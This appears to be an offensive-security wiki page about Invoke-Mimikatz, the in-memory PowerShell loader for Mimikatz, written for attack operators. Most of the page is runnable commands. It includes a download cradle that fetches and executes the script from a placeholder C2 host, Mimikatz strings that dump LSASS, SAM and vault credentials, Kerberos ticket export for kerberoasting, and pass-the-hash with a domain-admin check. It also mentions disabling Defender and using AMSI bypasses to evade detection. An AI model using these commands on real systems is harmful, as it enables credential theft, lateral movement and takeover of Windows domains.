Invoke-Mimikatz

Invoke-Mimikatz is Joe Bialek’s (@JosephBialek) PowerShell wrapper that reflectively loads Mimikatz 2.0 entirely in memory via Invoke-ReflectivePEInjection — no mimikatz.exe ever touches disk. It ships as part of PowerSploit under Exfiltration/Invoke-Mimikatz.ps1 and is bundled (sometimes under different names) by Empire, Cobalt Strike’s powerpick, and most AD attack frameworks.

The appeal is straightforward: by 2016 every AV engine signatures the mimikatz.exe binary aggressively, but the reflective loader keeps the PE in PowerShell’s memory space. Modern Microsoft Defender still detects the behavior (the in-memory PE injection and the LSASS access), which is why operators either disable Defender first (disable-microsoft-defender), pair it with an amsi-bypass, or redirect output to a file in case the PowerShell process is killed mid-dump.

The script requires local administrator on the target (or SYSTEM) and targets Windows through 8.1 / Server 2012 R2 era systems with PowerShell v2+. Against newer Windows builds the bundled Mimikatz 2.0 alpha (2015) is increasingly out-of-date; operators commonly re-encode a fresher Mimikatz build with the same technique.

Basic usage

# Load the script (usually via IEX download cradle — see invoke-webrequest-download-cradles)
IEX (New-Object Net.WebClient).DownloadString('https://$C2/Invoke-Mimikatz.ps1')
 
# Default action: dump logon credentials from LSASS
Invoke-Mimikatz -DumpCreds
 
# Arbitrary mimikatz command string — the general-purpose form
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"'
 
# Redirect output in case Defender kills the host PowerShell process mid-run
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"' > C:\mkat.txt
 
# Remote execution against multiple hosts (uses PowerShell remoting under the hood)
Invoke-Mimikatz -DumpCreds -ComputerName @('web01', 'web02')

Note the nested quoting: each Mimikatz sub-command is wrapped in its own double quotes inside the outer single-quoted PowerShell string. PowerShell quote-escaping bugs are the most common reason Invoke-Mimikatz runs silently do nothing — when in doubt, build the command string with the PowerShell backtick escape or via -EncodedCommand (powershell-base64-encoding).

Dumping Kerberos tickets (kerberoasting adjacency)

Invoke-Mimikatz pairs with PowerView-style enumeration to roast service accounts — this is the on-host counterpart to Impacket’s remote GetUserSPNs.py:

# 1. Find user accounts with SPNs registered (roastable targets)
Get-NetUser -SPN                                        # PowerView
# (or: setspn -Q */*)
 
# 2. Request a TGS for a specific SPN — the ticket lands in your session cache
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    -ArgumentList '$SERVICE/$COMPUTER.$DOMAIN'
 
# 3. Export the cached ticket(s) as .kirbi files
Invoke-Mimikatz -Command '"kerberos::list /export"'

The resulting .kirbi files are the ticket+session-key bundles that hashcat (-m 13100 for RC4 etype 23, -m 19600/19700 for AES) and john-the-ripper (--format=krb5tgs) can crack offline — see kerberoasting for the full attack narrative and detection profile (T1558.003).

For pulling other users’ tickets out of LSASS (pass-the-ticket source material):

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::tickets /export"'

Pass the hash

The PowerShell wrapper exposes the same sekurlsa::pth primitive as the native binary — the resulting process runs locally as the calling user but authenticates over the network with the stolen NT hash (T1550.002).

# Default behavior: dump credentials from the local SAM
Invoke-Mimikatz
 
# Pull credentials from the Windows Credential Vault (e.g. scheduled-task passwords)
Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"'
 
# Pass-the-hash — spawn $COMMAND whose network auth uses $NTLM_HASH.
# Service accounts like svcadmin are the classic target: they run many services,
# so their hash tends to leak via LSASS on any host they touch.
Invoke-Mimikatz -Command `
    '"sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTLM_HASH /run:$COMMAND"'
 
# Sanity checks
Invoke-Mimikatz -Command '"sekurlsa::tickets"'           # list tickets in current session
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'   # export them to disk

Verifying domain admin after PtH

[[whoami]] in the spawned process still reports the calling user — PtH only substitutes the credential material used for network authentication, not the local token. The reliable check is to invoke a command on a domain controller (only domain admins have local admin there):

Invoke-Command -ComputerName $DC -ScriptBlock { whoami; hostname }

If that returns $TARGET_USER, you’ve got DA-equivalent network context.

Why “PowerShell Mimikatz” is dying

The 2015-era Mimikatz 2.0 alpha embedded in PowerSploit doesn’t understand modern Windows credential structures (Credential Guard, LsaIso, newer Kerberos encryption types). Modern equivalents fill the same niche:

• meterpreter kiwi — load kiwi runs a current Mimikatz inside the meterpreter process, no PowerShell needed.
• Rubeus — C# Kerberos-only toolkit; covers ticket extraction/injection and roasting without LSASS memory scraping.
• SafetyKatz / SharpKatz — C# ports that load Mimikatz via PELoad or rewrite modules in managed code, tuned for modern .NET in-memory execution.
• pypykatz — Python; parses an offline LSASS minidump rather than touching the live process, sidestepping EDR on the target.

Invoke-Mimikatz still appears constantly in older playbooks, HTB/THM writeups, and Empire-derived tooling, so it remains worth recognizing on sight — but treat the embedded Mimikatz build as dated.

Sources

• PowerSploit — Invoke-Mimikatz.ps1
• PowerSploit
• MITRE ATT&CK T1550.002 — Pass the Hash
• MITRE ATT&CK T1558.003 — Kerberoasting

Related: mimikatz, kerberos, kerberoasting, meterpreter, invoke-webrequest-download-cradles, amsi-bypass, disable-microsoft-defender, hashcat, john-the-ripper, impacket.